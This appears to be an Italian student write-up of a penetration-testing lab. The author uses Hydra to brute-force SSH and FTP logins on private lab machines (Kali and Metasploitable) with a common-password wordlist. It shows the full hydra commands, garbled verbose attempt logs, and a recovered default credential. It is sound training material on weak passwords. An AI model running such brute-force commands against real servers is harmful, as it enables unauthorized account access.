Hydra esercizio pen test di password.

Durante un'attività di penetration testing, ho utilizzato Hydra per eseguire un attacco a forza bruta su un server SSH. La stringa di comando che ho impiegato è stata:

hydra -l test_user -P 2020-200_most_used_passwords.txt 192.168.1.100 -t 15 ssh -V

Questa stringa ha una serie di parametri specifici che ho configurato come segue:

- -l test_user: Specifica il nome utente da testare, in questo caso "test_user".
- -P 2020-200_most_used_passwords.txt: Indica il percorso del file contenente le password più comunemente usate nel 2020. Hydra utilizzerà questo file come wordlist per tentare di trovare la password corretta.
- 192.168.1.100: Rappresenta l'indirizzo IP del server di destinazione sul quale eseguire il test di accesso.
- t 15: Configura Hydra per utilizzare 15 thread simultanei, aumentando la velocità dell'attacco.
- ssh: Specifica il protocollo da utilizzare, in questo caso SSH.
- -v: Abilita la modalità verbose, permettendo di vedere ogni tentativo di login effettuato da Hydra.

Avviato il comando, Hydra ha iniziato a testare le combinazioni di nome utente e password presenti nel file di wordlist contro il server SSH all'indirizzo IP specificato. Ogni tentativo di accesso è stato mostrato in tempo reale grazie alla modalità verbose, fornendo un feedback immediato sull'andamento dell'attacco.

L'utilizzo di questa stringa mi ha permesso di comprendere meglio l'efficacia degli attacchi a forza bruta e di valutare la robustezza delle misure di sicurezza implementate sul server bersaglio. Questo esercizio ha sottolineato l'importanza di utilizzare password complesse e non comuni, oltre a mostrare l'utilità di strumenti come Hydra nel contesto della sicurezza informatica.

```
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "monkey" - 54 of 212 [child 4] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "lqaz2wsx" - 55 of 212 [child 5] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "abcd1234" - 56 of 212 [child 6] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "default" - 57 of 212 [child 6] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "aaaaaa" - 58 of 212 [child 6] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "soccer" - 59 of 212 [child 1] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "123654" - 60 of 212 [child 14] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "l2345678910" - 62 of 212 [child 9] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "l2345678910" - 62 of 212 [child 9] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "shadow" - 64 of 212 [child 9] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "l02030" - 65 of 212 [child 1] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "11111111" - 66 of 212 [child 4] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "sadsfy" - 67 of 212 [child 5] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "sadsfy" - 67 of 212 [child 5] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "DICE" - 68 of 212 [child 6] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "DICE" - 69 of 212 [child 6] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "DICE" - 69 of 212 [child 6] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "DICE" - 69 of 212 [child 6] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "DICE" - 69 of 212 [child 6] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "DICE" - 69 of 212 [child 6] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "DICE" - 69 of 212 [child 6] (0/3)
ATTEMPT] target 192.168.1.12 - login "test_user" - pass "DICE" - 60 of 212 [child 6] (0/3
```

Consegna:

- Mi posiziono in NAT, utilizzate il comando sudo apt install seclists, sudo apt install vsftpd
- 2. Mi posiziono in rete interna, esercizio guidato su SSH da Kali a Kali
- 3. FTP da Kali a Kali
- 4. Bonus: telnet / ssh / ftp da Kali a Metasploitable (in rete interna) utente msfadmin password listadipassword (con msfadmin incluso)

hydra -l msfadmin -P 2020-200_most_used_passwords.txt 192.168.1.100 -t 64 ftp -V

```
"ashley" - 32 of 210 [child 31] (0/0)
[ATTEMPT] target 192.168.1.100 -
                                                                  login
                                                                              "msfadmin" - pass
                                                                  login "msfadmin" - pass "987654321"
[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "987654321" - 33 of 210 [child 32] (0/0) [ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "unknown" - 34 of 210 [child 33] (0/0) [ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "zxcvbnm" - 35 of 210 [child 34] (0/0) [ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "112233" - 36 of 210 [child 35] (0/0) [ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "chatbooks" - 37 of 210 [child 36] (0/0) [ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "20100728" - 38 of 210 [child 37] (0/0) [ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "123123123" - 39 of 210 [child 38] (0/0) [ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "princess" - 40 of 210 [child 39] (0/0) [ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "jacket025" - 41 of 210 [child 40] (0/0)
[ATTEMPT] target 192.168.1.100 -
                                                                                                                                         - 33 of 210 [child 32] (0/0)
[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "evite" - 42 of 210 [child 41] (0/0)
                                                                 login "msfadmin" - pass "123abc" - 43 of 210 [child 42] (0/0)
login "msfadmin" - pass "123qwe" - 44 of 210 [child 43] (0/0)
[ATTEMPT] target 192.168.1.100 -
                   target 192.168.1.100 -
[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "sunshine" - 45 of 210 [child 44] (0/0)
[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "121212" - 46 of 210 [child 44] (0/0)
[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "dragon" - 47 of 210 [child 46] (0/0)
[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "1q2w3e4r" - 48 of 210 [child 47] (0/0)
                                                                 login "msfadmin" - pass 1q2w3e41 - 48 of 210 [child 47] (0/0)
login "msfadmin" - pass "159753" - 50 of 210 [child 49] (0/0)
login "msfadmin" - pass "pokemon" - 51 of 210 [child 50] (0/0)
[ATTEMPT] target 192.168.1.100 -
                   target
                                 192.168.1.100
[ATTEMPT] target 192.168.1.100 -
                                 192.168.1.100 - login "msfadmin" - pass "pokemon" - 31 of 210 [child 50] (0/0)
192.168.1.100 - login "msfadmin" - pass "qwerty123" - 52 of 210 [child 51] (0/0)
192.168.1.100 - login "msfadmin" - pass "jobandtalent" - 54 of 210 [child 53] (0/0)
[ATTEMPT] target 192.168.1.100 -
[ATTEMPT] target
[ATTEMPT] target 192.168.1.100 -
[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "Jobahdtatent - 34 of 210 [child 53] (

[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "monkey" - 55 of 210 [child 54] (0/0)

[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "abcd1234" - 57 of 210 [child 56] (0/0)

[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "default" - 58 of 210 [child 57] (0/0)
                                                                 login "msfadmin" - pass "aaaaaa" - 59 of 210 [child 58] (0/0) login "msfadmin" - pass "soccer" - 60 of 210 [child 59] (0/0)
[ATTEMPT] target 192.168.1.100 -
[ATTEMPT] target 192.168.1.100 -
[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "123654" - 61 of 210 [child 60] (0/0)
                                                                 login "msfadmin" - pass "ohmnamah23" - 62 of 210 [child 61] (0/0)
login "msfadmin" - pass "12345678910" - 63 of 210 [child 62] (0/0)
[ATTEMPT] target 192.168.1.100 -
                   target 192.168.1.100
[ATTEMPT] target 192.168.1.100 - login "msfadmin" - pass "zing" - 64 of 210 [child 63] (0/0)
[21][ftp] host: 192.168.1.100
                                                                login: msfadmin password: msfadmin
  of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-24 14:47:35
```

Ho utilizzato Hydra, un potente strumento di attacco per forza bruta, per trovare una password. Il mio obiettivo era <u>dimostrare l'importanza di utilizzare credenziali sicure e la vulnerabilità dei sistemi che adottano password deboli.</u>

Per iniziare, ho configurato Hydra su una macchina virtuale sicura. Ho poi identificato il servizio di autenticazione che desideravo testare, specificando il protocollo di accesso (FTP e SSH.). Successivamente, ho creato un elenco di nomi utente e password comuni, utilizzando un file di wordlist predefinito, che Hydra avrebbe utilizzato per tentare di accedere al sistema bersaglio.

Eseguito il comando di attacco, Hydra ha iniziato a tentare combinazioni di nome utente e password a velocità elevata. Dopo un certo numero di tentativi, Hydra ha individuato la combinazione corretta, permettendomi di accedere al sistema con successo. Questo processo ha evidenziato la debolezza delle password comuni e l'efficacia di Hydra come strumento di penetrazione.

Attraverso questo esercizio, ho acquisito una comprensione più profonda dei rischi associati alle password deboli e l'importanza delle best practice di sicurezza, come l'uso di password complesse e l'implementazione di sistemi di autenticazione a due fattori. Il compito mi ha permesso di migliorare le mie competenze tecniche e di apprezzare ulteriormente la necessità di una sicurezza robusta nel campo della tecnologia dell'informazione.